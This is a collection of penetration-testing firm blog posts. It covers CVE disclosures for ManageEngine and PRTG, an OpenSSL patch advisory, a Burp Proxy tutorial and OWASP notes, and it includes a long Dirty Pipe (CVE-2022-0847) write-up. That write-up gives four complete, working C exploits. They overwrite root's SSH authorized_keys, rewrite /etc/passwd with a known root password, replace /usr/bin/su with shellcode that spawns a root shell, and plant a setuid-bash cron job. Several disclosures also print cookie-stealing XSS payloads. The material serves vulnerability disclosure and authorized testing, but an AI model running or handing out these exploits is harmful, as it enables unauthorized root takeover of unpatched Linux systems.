UPDATE: Subsequent to publication of this blog post, the OpenSSL vulnerabilities were assigned CVE-2022-37786 and CVE-2022-3602, patches were released by OpenSSL, and the threat level was downgraded from “critical” to “high.”
In the cyberworld, news of a critical vulnerability affecting OpenSSL versions 3.0 – 3.0.6 will likely be the scariest part of Halloween ’22. Especially since the OG ‘critical’ rating from OpenSLL went to the aptly named “Heartbleed” bug from 2014.
There is a lot of buzz online about this vulnerability, but here’s what we know for sure:
It really could be that serious. The OpenSSL project management team says it’s critical, and they are not known for crying ‘wolf’ without reason. By the organization’s standards, ‘critical’ means it may be easily exploitable, many users could be affected, and the destructive potential is high.
So, you definitely need to patch. OpenSSL’s software is ubiquitous in the world of security and encryption. Though 98% of instances are still version 1.1.1, the 1.5% using version 3.0.x includes some very popular Linux distributions, including Red Hat Enterprise Linux (RHEL) 9.x, Ubuntu version 22.04, and many others.
And you need to patch ASAP. OpenSSL is making the patch available tomorrow, November 1, beginning at 8 AM and should be complete by noon U.S. Eastern Time. According to an OpenSSL spokesman, the rationale behind announcing the vulnerability before the patch is ready is to give organizations time to identify the systems that need to be patched and assemble the resources necessary to do so.
How can you be sure that all your relevant systems are patched? Once you’ve installed the updates, a comprehensive assessment of each host can insure you’ve properly updated. As always, a Raxis penetration test can also reveal unpatched or out-of-date software from OpenSSL or any other provider. What’s more, our team can show you proof of what assets are at risk and why.
I’m Matt Mathur, lead penetration tester here at Raxis. I recently discovered a cascading style sheet (CSS) injection vulnerability in PRTG Network Monitor.
Summary
PRTG Network Monitor does not prevent custom input for a device’s icon, which can be modified to insert arbitrary content into the style tag for that device. When the device page loads, the arbitrary CSS is inserted into the style tag, loading malicious content. Due to PRTG Network Monitor preventing “ characters, and from modern browsers disabling JavaScript support in style tags, this vulnerability could not be escalated into a Cross-Site Scripting vulnerability.
Proof of Concept
The vulnerability lies in a device’s properties and how they are verified and displayed within PRTG Network Monitor. When editing or creating a device, the device’s icon value is not verified to be one of the icon selections, and any text can be inserted in its place, as shown here:
When the device’s icon is then loaded in any subsequent pages (e.g., the Devices page), the content is loaded unescaped inside of the style tag, as shown below:
This allows malicious users to insert (almost) any CSS they want in place of the icon. A malicious user can cause an HTTP request to an arbitrary domain/IP address by setting a background-image property in the payload, as shown here:
The impact of this vulnerability is less severe due to modern browsers preventing JavaScript in style tags, and from PRTG Network Monitor preventing “ characters in the payload. These steps prevent this vulnerability from being escalated into a Cross-Site Scripting vulnerability.
Affected Versions
Raxis discovered this vulnerability on PRTG Network Monitor version 22.2.77.2204.
Remediation
A fix for CVE-2022-35739 has not been released. When a fix is released, upgrade to the newest version to fully remediate the vulnerability. In the meantime, Raxis recommends keeping a small list of users who can edit devices to limit the impact of the vulnerability. CVE-2022-35739 has minimal damage potential and is difficult to execute, and thus does not warrant additional protections while waiting for a remediation.
Disclosure Timeline
July 7, 2022 – Vulnerability reported to Paessler Technologies.
July 8, 2022 – Paessler Technologies begins investigating vulnerability.
July 14, 2022 – CVE-2022-35739 assigned to this vulnerability.
August 8, 2022 – Outreach to Paessler Technologies without response.
October 4, 2022 – Second outreach to Paessler Technologies without response.
October 7, 2022 – Third outreach to Paessler Technologies without response.
October 21, 2022 – Original blog post detailing CVE-2022-35739 released.
I’m Matt Dunn, lead penetration tester at Raxis, and I’ve uncovered a couple more ManageEngine vulnerabilities you should know about if your company is using the platform.
Summary
I discovered two instances in ManageEngine Remote Access Plus where a user with Guest permissions can access administrative details of the installation. In each case, an authenticated ‘Guest’ user can make a direct request to the /dcapi/ API endpoint to retrieve information. This allows the ‘Guest’ user to discover information about the connected Domains as well as the License information for the installation.
Proof of Concept
The two vulnerabilities are similar in that they allow a user with ‘Guest’ level permissions to access details about the installation. Each CVE refers to a specific piece of information that the user can retrieve, as detailed below:
CVE-2022-26653 – The ‘Guest’ user can retrieve details of connected Domains.
CVE-2022-26777 – The ‘Guest’ user can retrieve details about the installation’s License.
The user with ‘Guest’ permissions can access all the Domain’s details, including the connected Domain Controller, the account used for authentication, and when it was last updated, as shown here:
Similarly, the ‘Guest’ user can access all the License information, including the amount of users, amount of managed systems, who the license is for, and the exact build number, as shown below:
Affected Versions
Raxis discovered these vulnerabilities on ManageEngine Remote Access Plus version 10.1.2137.6.
Remediation
Upgrade ManageEngine Remote Access Plus to Version 10 Build 10.1.2137.15 or later which can be found here:
I’m Matt Dunn, lead penetration tester at Raxis. Recently, I discovered a stored XSS in Support Center Plus. Here’s how a malicious actor might exploit it — and what you can do to prevent it.
Summary
A low-privileged user (e.g., the default guest user) can inject arbitrary JavaScript into the description of a new Request. When another user (including a high privileged user) views that request’s edit history, the payload is executed in the context of that new user’s browser. This can cause privilege escalation or other payload execution from low privileged users to other, possibly higher privileged users.
Proof of Concept
The vulnerability can be triggered by inserting html content in the description field of a new request. The payload I inserted as a guest user was:
"><img src=x onerror="alert(document.cookie)"/>
This payload being inserted is shown here:
When another user (in this case an admin) views that request’s edit history, the JavaScript is executed in the context of the new user’s browser, as shown here:
This vulnerability allows any low privileged user to execute JavaScript on higher privileged or other low privilege user’s browsers once they view a request’s edit history. While the payload used here launches an alert box with the page’s cookie values, more dangerous payloads could be executed in this context as well.
Affected Versions
Raxis discovered this vulnerability on Manage Engine Support Center 11.0 Build 11019.
Remediation
Upgrade ManageEngine AD Support Center Plus to Version 11.0 Build 11020 or later immediately which can be found here:
I’m Matt Dunn, a lead penetration tester at Raxis. Recently, I discovered an information leakage in ManageEngine Asset Explorer. This is a relatively minor information leakage, as it only leaks the currency that a current vendor uses. Though minor, it could lead to other inferred information such as vendor location based on their currency.
Proof of Concept
The information leakage occurs in the AJaxDomainServlet when given the action of getVendorCurrency. This servlet action does not require authentication, allowing a user to obtain a vendor’s currency with a GET request to a URL similar to the following:
In this example URL, we request the currency for the vendor with the specified vendorId. If the vendor doesn’t have an assigned currency, the dollar symbol is returned. If it does, the vendor’s specific currency identifier is returned, as shown here:
Affected Versions
Raxis discovered this vulnerability on Manage Engine Asset Explorer Plus 6.9 Build 6970.
Remediation
Upgrade ManageEngine Asset Explorer to Version 6.9 Build 6971 or later, which can be found here:
The vulnerability described in CVE-2022-0847 allows any user to write to files that are read-only. This includes writing to files that are owned by root, allowing privilege escalation.
Editor’s note: This blog post and associated code provided below are intended for use only by qualified professionals with written permission to test networks for vulnerabilities. To perform these operations without authorization is illegal.
This articles describes four ways to exploit the so-called “Dirty Pipe” vulnerability by:
Writing ssh keys to root’s authorized keys file
Overwriting a setuid binary to give shell
Writing to /etc/passwd
Writing to a cron job to give access
Note: The code has been modified from the original author to accomplish each of these tasks.
For the exploits to work they need to overwrite information in the file. Any data already there is going to be overwritten, so take care to save a backup of the file. Also, you do need to have read privileges on the file for the exploit to work.
Authorized Keys
Default Linux installations that have the /root folder permissions restrict other users from reading it. There are exceptions, however, and a readable /root folder can be used to get to other users’ authorized keys.
The first step is to check if the /root/.ssh/authorized_keys file is readable. The exploit writes to this file, so making a backup is prudent before taking any action.
The next step is to create an exploit to overwrite the public key in the /root/.ssh/authorized_keys file with one of an attacker’s choosing. To do this, you’ll need to get a file descriptor to the /root/.ssh/authorized_keys file.
If an SSH key does not already exist, the attacker must create one using ssh- keygen. Note that the algorithm and the length must match that of the existing key already in the root folder because this exploit cannot make the file larger.
Add the key to the exploit code as a variable to overwrite the public key that is in authorized keys for the victim user. Note that, during the exploit, the first byte will be preserved. Remove the first “s” from the ssh-rsa value to accommodate this behavior.
Below is the complete code to exploit this vulnerability by overwriting the /root/.ssh/authorized_keys file. This attack is not limited to the root account; it could be used to compromise any user where authorized_keys file can be read.
Full Authorized Key Exploit Code
#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>
#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif
/**
* Create a pipe where all "bufs" on the pipe_inode_info ring have the
* PIPE_BUF_FLAG_CAN_MERGE flag set.
*/
static void prepare_pipe(int p[2])
{
if (pipe(p)) abort();
const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
static char buffer[4096];
/* fill the pipe completely; each pipe_buffer will now have
the PIPE_BUF_FLAG_CAN_MERGE flag */
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
write(p[1], buffer, n);
r -= n;
}
/* drain the pipe, freeing all pipe_buffer instances (but
leaving the flags initialized) */
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
read(p[0], buffer, n);
r -= n;
}
/* the pipe is now empty, and if somebody adds a new
pipe_buffer without initializing its "flags", the buffer
will be mergeable */
}
int main(int argc, char **argv)
{
/* open roots authorized_keys file*/
const char* path = "/root/.ssh/authorized_keys";
const int fd = open(path, O_RDONLY); // yes, read-only! :-)
if (fd < 0) {
perror("open failed");
return EXIT_FAILURE;
}
/*Change this key to your key created with ssh-keygen*/
/*Due to how the offsets work make sure to remove the first s of ssh-rsa*/
const char* new_key = "sh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCXXiSefiZJikyRlDX4f37G++VPni7URUVMgG5sRMq1BUOHAATBm+7n+JPe3/+cViimEOqRH3cI73OvGQz+NwJfVSrlRjxSzkOted36omqUkqDWOmbzaKSirKruj6oQltQ5keN3/opkvHbBturI/L0hB8rgaDPq35LfiaE1LRu/H5KGYib4B0oVnVbJ33u8/Y54Cwld7zIKTKdanvPwu2lmV0swYXuQHv3ydJAWMh/9HdFslj9BM43NsVakTqHBJ0qdC11tww0gieKMJlPgJYKCjW+2uahPYXsDNjW0+wl2wxxSqZnkBFFwsX5gahKwmxGVQLRX7rtYJ1Mnzu+ZdxlhQBy+lUsiWtfbdlj+i0tsO3zO2b9k2a6sXTpGzEYaQ9+nUnbpB3Ih5i2Oc3uimS0n2BbrynUKLzha5FmqW7uc+ZQGmkBy06pSHN2q39MhzmoluYFbVcb4lWgr1tUjoWh18WWHG+YM0ybj88DNhkFP3LYfj1WI/9YKrU0SxAAjxvU=\n";
const size_t new_key_size = strlen(new_key);
/* create the pipe with all flags initialized with
PIPE_BUF_FLAG_CAN_MERGE */
int p[2];
prepare_pipe(p);
/* splice one byte from before the specified offset into the
pipe; this will add a reference to the page cache, but
since copy_page_to_iter_pipe() does not initialize the
"flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
long int offset = 0;
ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
if (nbytes < 0) {
perror("splice failed");
return EXIT_FAILURE;
}
if (nbytes == 0) {
fprintf(stderr, "short splice\n");
return EXIT_FAILURE;
}
/* the following write will not create a new pipe_buffer, but
will instead write into the page cache, because of the
PIPE_BUF_FLAG_CAN_MERGE flag */
nbytes = write(p[1], new_key, new_key_size);
if (nbytes < 0) {
perror("write failed");
return EXIT_FAILURE;
}
if ((size_t)nbytes < new_key_size) {
fprintf(stderr, "short write\n");
return EXIT_FAILURE;
}
printf("It worked!\n");
return EXIT_SUCCESS;
}
After compiling and running the exploit, all that’s left is to login with the key and fix it so all other users can still login.
Passwd
In this case we will open the /etc/passwd file and change the contents in order to change the root user’s password to something we know. This will overwrite the file so creating a backup is prudent before performing any overwrite actions.
The copy_file function was ported from a published dirtyCOW exploit by FireFart.
After backing up the file, generate a passwd value in the correct format.
Full passwd Exploit Code
/*Link with -lcrypt when compiling*/
#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif
/**
* Create a pipe where all "bufs" on the pipe_inode_info ring have the
* PIPE_BUF_FLAG_CAN_MERGE flag set.
*/
static void prepare_pipe(int p[2])
{
if (pipe(p)) abort();
const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
static char buffer[4096];
/* fill the pipe completely; each pipe_buffer will now have
the PIPE_BUF_FLAG_CAN_MERGE flag */
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
write(p[1], buffer, n);
r -= n;
}
/* drain the pipe, freeing all pipe_buffer instances (but
leaving the flags initialized) */
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
read(p[0], buffer, n);
r -= n;
}
/* the pipe is now empty, and if somebody adds a new
pipe_buffer without initializing its "flags", the buffer
will be mergeable */
}
int copy_file(const char *from, const char *to) {
// check if target file already exists
if(access(to, F_OK) != -1) {
printf("File %s already exists! Please delete it and run again\n",
to);
return -1;
}
char ch;
FILE *source, *target;
source = fopen(from, "r");
if(source == NULL) {
return -1;
}
target = fopen(to, "w");
if(target == NULL) {
fclose(source);
return -1;
}
while((ch = fgetc(source)) != EOF) {
fputc(ch, target);
}
printf("%s successfully backed up to %s\n",
from, to);
fclose(source);
fclose(target);
return 0;
}
int main(int argc, char **argv)
{
const char* filename = "/etc/passwd";
const char* backupname = "/tmp/passwd.bak";
int temp = copy_file(filename, backupname);
if (temp == -1) {
return 1;
}
/*Change the password to whatever you want the new root user's password to be.*/
const char* newPassword = "SecurePassword";
const char* salt = "Salt";
char* passwordHash = crypt(newPassword, salt);
printf("%s\n", passwordHash);
char generatedLine[400];
sprintf(generatedLine, "oot:%s:0:0:Pwned:/root:/bin/bash\n", passwordHash);
printf("New passwd line: %s", generatedLine);
/* open the input file and validate the specified offset */
const int fd = open(filename, O_RDONLY); // yes, read-only! :-)
if (fd < 0) {
perror("open failed");
return EXIT_FAILURE;
}
/* create the pipe with all flags initialized with
PIPE_BUF_FLAG_CAN_MERGE */
int p[2];
prepare_pipe(p);
/* splice one byte from before the specified offset into the
pipe; this will add a reference to the page cache, but
since copy_page_to_iter_pipe() does not initialize the
"flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
long int offset = 0;
ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
if (nbytes < 0) {
perror("splice failed");
return EXIT_FAILURE;
}
if (nbytes == 0) {
fprintf(stderr, "short splice\n");
return EXIT_FAILURE;
}
/* the following write will not create a new pipe_buffer, but
will instead write into the page cache, because of the
PIPE_BUF_FLAG_CAN_MERGE flag */
nbytes = write(p[1], generatedLine, strlen(generatedLine));
if (nbytes < 0) {
perror("write failed");
return EXIT_FAILURE;
}
if ((size_t)nbytes < strlen(generatedLine)) {
fprintf(stderr, "short write\n");
return EXIT_FAILURE;
}
printf("It worked!\n");
printf("You can now login with root:%s\n", newPassword);
return EXIT_SUCCESS;
}
At this point the exploit works as before; configure the appropriate pipe and insert the data to be written to the /etc/passwd file. As before, remove the first character of the string and then compile and run. Head is used to confirm /etc/passwd has changed, resulting in root’s password being changed to our controlled value. The complete exploit to overwrite the /etc/passwd file is shown below.
SetUID
If the /root/.ssh/authorized_keys file is unwritable, we can use a setuid binary to overwrite it with a binary that will give us a root shell.
First it’s necessary to create a binary that will instantiate a shell. This is fairly straight forward. It requires creation of a program that is a setuid program owned by root. This is necessary for the attack to successfully escalate privileges.
Msfvenom is a popular utility for creating exploit binaries and can be used to create the shellcode for this attack.
From there, convert the binary data to a hexadecimal representation using Python’s binascii library.
Use the find utility to locate suitable root-owned setuid binaries for targeting.
For our purposes, we will overwrite the su binary. The replacement code launches a shell and sets the uid (UserID) and gid (GroupID) to 0 (root’s). Here is the character array of the shell code that we dumped using the xxd utility.
As before, comment out the first byte since that will be coming from the file on disk.
As a best practice, backup the binary you choose to overwrite prior to performing the attack, and then compile the program and run it. Sha1sum is used below to confirm that the binary has changed. Once that’s complete, execute the program to get a root shell.
Full SetUID Exploit Code
#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>
#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif
/**
* Create a pipe where all "bufs" on the pipe_inode_info ring have the
* PIPE_BUF_FLAG_CAN_MERGE flag set.
*/
static void prepare_pipe(int p[2])
{
if (pipe(p)) abort();
const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
static char buffer[4096];
/* fill the pipe completely; each pipe_buffer will now have
the PIPE_BUF_FLAG_CAN_MERGE flag */
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
write(p[1], buffer, n);
r -= n;
}
/* drain the pipe, freeing all pipe_buffer instances (but
leaving the flags initialized) */
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
read(p[0], buffer, n);
r -= n;
}
/* the pipe is now empty, and if somebody adds a new
pipe_buffer without initializing its "flags", the buffer
will be mergeable */
}
int main(int argc, char **argv)
{
const char* filename = "/usr/bin/su";
/*Elf file generated with msfvenom*/
unsigned char elfcode[] = {
/*0x7f,*/ 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00,
0x01, 0x00, 0x00, 0x00, 0x78, 0x00, 0x40, 0x00, 0x00, 0x00,
0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00,
0x00, 0x9d, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc2, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x48, 0x31, 0xff, 0x6a, 0x69, 0x58, 0x0f, 0x05,
0x48, 0x31, 0xff, 0x6a, 0x6a, 0x58, 0x0f, 0x05, 0x48, 0xb8, 0x2f,
0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x99, 0x50, 0x54, 0x5f,
0x52, 0x5e, 0x6a, 0x3b, 0x58, 0x0f, 0x05
};
u_int8_t *data = elfcode;
const int fd = open(filename, O_RDONLY); // yes, read-only! :-)
if (fd < 0) {
perror("open failed");
return EXIT_FAILURE;
}
/* create the pipe with all flags initialized with
PIPE_BUF_FLAG_CAN_MERGE */
int p[2];
prepare_pipe(p);
/* splice one byte from before the specified offset into the
pipe; this will add a reference to the page cache, but
since copy_page_to_iter_pipe() does not initialize the
"flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
long int offset = 0;
ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
if (nbytes < 0) {
perror("splice failed");
return EXIT_FAILURE;
}
if (nbytes == 0) {
fprintf(stderr, "short splice\n");
return EXIT_FAILURE;
}
/* the following write will not create a new pipe_buffer, but
will instead write into the page cache, because of the
PIPE_BUF_FLAG_CAN_MERGE flag */
nbytes = write(p[1], elfcode, sizeof(elfcode));
if (nbytes < 0) {
perror("write failed");
return EXIT_FAILURE;
}
if ((size_t)nbytes < sizeof(data)) {
fprintf(stderr, "short write\n");
return EXIT_FAILURE;
}
printf("It worked!\n");
return EXIT_SUCCESS;
}
Cron Job
/etc/crontab is readable. Here we can add a new job that will copy bash to another location. Then we will set the copy with a setuid bit, allowing for execution as root.
The below command sets a job that will copy the bash program to a .bak file and set the sticky bit.
As before, back up the file just in case something happens.
For purposes of evasion, it may be helpful to minimize modifications to the beginning of the file .
Here is the entire line used to write to /etc/crontab:
The space at the beginning is used to line up with the original line. Also, the first “#” will be included from the original file.
Sha1sum again is used to verify the file changes:
All that’s needed now is to run bash -p which will keep the root privileges:
Full Cron Jon Exploit Code:
#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>
#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif
/**
* Create a pipe where all "bufs" on the pipe_inode_info ring have the
* PIPE_BUF_FLAG_CAN_MERGE flag set.
*/
static void prepare_pipe(int p[2])
{
if (pipe(p)) abort();
const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
static char buffer[4096];
/* fill the pipe completely; each pipe_buffer will now have
the PIPE_BUF_FLAG_CAN_MERGE flag */
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
write(p[1], buffer, n);
r -= n;
}
/* drain the pipe, freeing all pipe_buffer instances (but
leaving the flags initialized) */
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
read(p[0], buffer, n);
r -= n;
}
/* the pipe is now empty, and if somebody adds a new
pipe_buffer without initializing its "flags", the buffer
will be mergeable */
}
int main(int argc, char **argv)
{
const char* filename = "/etc/crontab";
const char* crontab_line = " /etc/crontab: system-wide crontab\n# Unlike any other crontab you don't have to run the `crontab'\n# command to install the new version when you edit this file\n# and files in /etc/cron.d. These files also have username fields,\n# that none of the other crontabs do.\n\nSHELL=/bin/sh\nPATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin\n* * * * *\troot\tcp /usr/bin/bash /tmp/bash.bak; chmod u+s /tmp/bash.bak\n#.";
/* open the input file and validate the specified offset */
const int fd = open(filename, O_RDONLY); // yes, read-only! :-)
/* create the pipe with all flags initialized with
PIPE_BUF_FLAG_CAN_MERGE */
int p[2];
prepare_pipe(p);
/* splice one byte from before the specified offset into the
pipe; this will add a reference to the page cache, but
since copy_page_to_iter_pipe() does not initialize the
"flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
long int offset = 0;
ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
if (nbytes < 0) {
perror("splice failed");
return EXIT_FAILURE;
}
if (nbytes == 0) {
fprintf(stderr, "short splice\n");
return EXIT_FAILURE;
}
/* the following write will not create a new pipe_buffer, but
will instead write into the page cache, because of the
PIPE_BUF_FLAG_CAN_MERGE flag */
nbytes = write(p[1], crontab_line, strlen(crontab_line));
if (nbytes < 0) {
perror("write failed");
return EXIT_FAILURE;
}
if ((size_t)nbytes < strlen(crontab_line)) {
fprintf(stderr, "short write\n");
return EXIT_FAILURE;
}
printf("It worked!\n");
return EXIT_SUCCESS;
}
Note that a fresh install of Debian 11 was used to create these proof-of-concept attacks. It was necessary to boot using an old kernel since the new kernel was already patched against the vulnerability. This was done by selecting the advance boot options with grub and selecting the old kernel version 5.10.0-10-amd64.
REMINDER: This blog post and associated code provided are intended for use only by qualified professionals with written permission to test networks for vulnerabilities. To perform these operations without authorization is illegal.
I’m Matt Dunn, a lead penetration tester here at Raxis. Recently, I discovered a stored Cross-Site Scripting vulnerability in Zoho’s ManageEngine AD SelfService Plus.
Summary
The vulnerability exists in the /accounts/authVerify page, which is used for the forgot password, change password, and unlock account functionalities.
Proof of Concept
The vulnerability can be triggered by inserting html content, specifically tags that support JavaScript, into the first or last name of an Active Directory user. The following was inserted as a proof of concept to reflect the user’s cookie in an alert box:
<img src=x onerror=”alert(document.cookie)”/>
An example of this in the Last Name field of one such user is shown here:
The next time that user forgets, attempts to change, or is locked out of their account and they load the authVerify page, their name is presented without being sanitized. The unescaped HTML as loaded can be seen in Figure 2:
After the user attempts to reset their password, the malicious content is executed, as shown in Figure 3:
If the user must change their password on login, the malicious content is executed, as shown in Figure 4:
If the user attempts to unlock their account, the malicious content is executed, as shown in Figure 5:
Affected Versions
Raxis discovered this vulnerability on Manage Engine AD SelfService Plus 6.1 Build 6119.
Remediation
Upgrade ManageEngine AD SelfService Plus to Version 6.1 Build 6121 or later immediately:
People are often surprised to find that a hacker doesn’t only attack a website through the authentication process. Our team members are experts at demonstrating why just enforcing password policies and lockout times doesn’t fully protect applications.
In this article, we’re going to pull back the curtain and show you how hackers use web proxy tools to help exploit applications in ways you might never expect.
How the Proxy Tool Works
The proxy tool is software that follows the path data takes step-by-step from your device to the application server. Several such tools exist, but Burp Proxy (included in all versions of Burp Suite) is one of the most popular. Using Burp Proxy, hackers can bypass the user interface – the page you see when entering data – and change the information before it is sent to the application server. This makes it possible to avoid client-side controls, such as those that check that a phone number is only numeric or that an email address is formatted correctly. If the application server expects the client-side controls to have already validated data, the server code may not have all of the proper protections in place.
In the image below, Burp Proxy, in “Intercept” mode, shows each step along the path that data follows from your device to an application server. The tool allows a user to tab from step to step and change the data that was input originally. If security features are built into the client (the interface you see) but not present on the application server, the proxy enables hackers to enter compliant data first, but change it however they want before it reaches the server.
One example of how hackers exploit this setup is through the commonly used buttons or checkboxes found in many apps. Most app developers are cautious about user input fields, but, because buttons, checkboxes, and radio buttons apparently limit data entry to “on-off” or “yes-no” choices, they often see little inherent risk. The problem is that, even though the user options are limited at the interface (client-side), they may not be limited by the code on the server itself (server-side).
How a Proxy Tool can Reveal a Vulnerability
The three illustrations below show how even a simple “submit” button can present opportunities for hackers.
The choice here seems straightforward — either you click the button or you do not. But that choice masks what happens after you click “submit.”
“Submit” is really just a request being sent to the server. Here, using Burp Proxy to intercept the data, we can see the request as it will appear to the application server.
Now, rather than a simple yes-or-no choice, a user can modify the data any way they’d like and enter it by pressing the “Forward” command.
How Hackers Turn the Exploit into an Attack
With the ability to effectively bypass safeguards on the client-side interface, hackers can send information directly to the application server. Here are a couple of examples of the types of attacks they can execute if the application server is not secure. (For clarity, we’ll use text-based fields, rather than check-boxes in these examples.)
Example 1: Cross-Site Scripting (XSS)
Cross-site scripting (XSS) is a reflected attack that injects malicious client-side executable code into web application parameters to be returned by the application output and ultimately executed by the browser. Because it appears that the script is from a trusted source, the end-user’s browser accepts it and runs the script, permitting the attacker to take actions on the application’s behalf, such as accessing cookies and session tokens as well as other sensitive data. (Source: Raxis Glossary).
The following walk-through demonstrate how a simple guestbook submission form request works normally and then how an attacker can use a web proxy to insert malicious code.
This is the submission form as it appears to users:
Our Burp Proxy tool reveals the actual request sent to the application server:
Here the attacker enters an innocuous submission that should not be caught by client-side injection controls:
And now the attacker captures the entry using Burp Proxy:
Before allowing the proxy tool to move to the next step, the attacker replaces the original harmless data with a malicious script:
The application server, without server-side controls to stop it, accepts the script and returns the payload to the browser. This is what the attacker sees in Burp Proxy:
And here we see the successful cross-site scripting result in the browser:
Example 2: SQL Injection (SQLi)
In this attack, a SQL query is injected into the application via input parameters. A successful attack could read sensitive data from the database, modify data in the database, execute operations on the database (including administrative operations), recover files on the DBMS file system, or issue commands to the operating system. (Source: Raxis Glossary)
Here we demonstrate how a user ID field can be manipulated to enable a SQLi attack.
We start with a simple user ID entry field with a submit button where we enter a name and submit:
Again the attacker intercepts the submission using Burp Proxy en route to the application server.
As above in the XSS exploit, the attacker then modifies the data in Burp Proxy, this time to include escape characters and a SQL query:
With no server-side controls in place to stop the attack, the server returns the data requested in the SQL database query. This is what the attacker sees in Burp Proxy:
And here we see the successful SQL injection result in the browser:
Summary
It’s tempting here to focus on the Burp Proxy tool and its capabilities, but the more important point is to recognize that vulnerabilities can exist in places we as users might not think. Something that seems innocuous, like a simple submit or on/off button, can be manipulated by a hacker with relative ease. The same is true for any field, button, or widget that sends a request to an application server.
Remember that the mindset of a hacker is always to look at something as it’s expected to be used, then attempt to use it differently. That’s why pentesting by skilled professionals is so important. It takes trained, ethical hackers to prevent the work of their malicious counterparts.
Would you like to learn how Raxis can help your organization? Reach out. We have a guaranteed, no-pressure approach, and – after all – we’re all on the same side.
This is the second video in my three-part series about cross-site scripting (XSS), a type of injection attack that results from user-supplied data that is not properly sanitized or filtered from an application. In the previous video, I discussed the basics of how XSS works and offered some recommendations on how steps to protect against it.
In this video, we’ll take it a step further. I’ll show you some techniques hackers use to get past common remediation efforts. First is filter evasion, which uses different types of tags to insert malicious code when filters are in place to prevent scripts from running. The second is a technique I call sideloading content, importing third-party content in order to deliver a malicious payload.
Injection attacks are number three on the OWASP Top 10 list of frequently occurring vulnerabilities, and, indeed, they are a finding Raxis discovers quite frequently. (Over the past year, I have discovered five XSS CVEs.) So, in addition to explaining how these attacks work, I also explain how to stop them.
In my next video, we’ll take a look at some more advanced methods for cross-site scripting, again with some remediation tips included. So, if you haven’t done so already, please subscribe to our YouTube channel and watch for new content from the Raxis team.
The Open Web Application Security Project (OWASP) Top 10 is intended as a guide to help security professionals prioritize the most common and urgent web application threats that they or their clients are likely to face. By collecting and analyzing data over time, OWASP is a source of both intelligence and awareness for the people responsible for building secure applications. Raxis uses the OWASP Top 10 as a baseline when assessing web applications, ensuring that our customers are guarding against each of the most common threat categories. Of course, our testing goes well beyond the items on the list, but it is an effective starting point for security assessments.
What Is a Broken Access Control?
Broken access control, not to be confused with broken authentication, happens when a user unintentionally is granted elevated permissions or access to an application, user role, or domain. But what does that mean to website users? It means that the user, whether a hacker or someone unintentionally discovering the vulnerability, gains access that was never intended, whether that is access to private information for other users or access to an admin page that allows them to perform actions few people should be allowed to do.
When a web app fails to enforce proper access controls, the results can be unauthorized disclosure of sensitive information, modification or destruction of data in the system, or the ability to perform business function the user should have no authority to perform.
This vulnerability has moved from the fifth position all the way to first in the new 2021 OWASP Top 10 update. According to the OWASP Foundation, 3.81% of the applications tested had some form of broken access control. While that may sound like a small percent, the cost is high when you realize the sensitive data & systems that could be exposed.
A Few Examples
Many web applications can have a user login page with data such as credit card, phone number, or address information. Let’s consider two users of that application, Fred and Karen. If Karen was logged into her profile, she might see a URL similar to the link below:
